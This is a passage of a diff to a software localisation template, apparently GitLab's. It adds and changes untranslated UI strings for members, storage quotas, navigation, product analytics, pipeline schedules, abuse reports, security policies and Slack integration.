+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25708,6 +25986,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25735,6 +26016,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26020,10 +26307,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26510,6 +26803,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26939,6 +27244,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27201,9 +27542,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28718,6 +29074,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29472,9 +29828,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31240,6 +31599,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31267,7 +31629,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31396,6 +31758,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32083,6 +32649,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32302,6 +32880,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32551,9 +33129,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32704,10 +33279,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32839,6 +33414,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33475,6 +34071,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33511,6 +34110,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34241,6 +34843,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34568,9 +35170,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35553,7 +36179,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35926,7 +36552,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36133,6 +36759,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,9 +36789,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36184,12 +36816,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36382,9 +37038,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37052,7 +37717,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37115,10 +37780,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38502,9 +39164,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38664,6 +39320,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38691,10 +39353,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
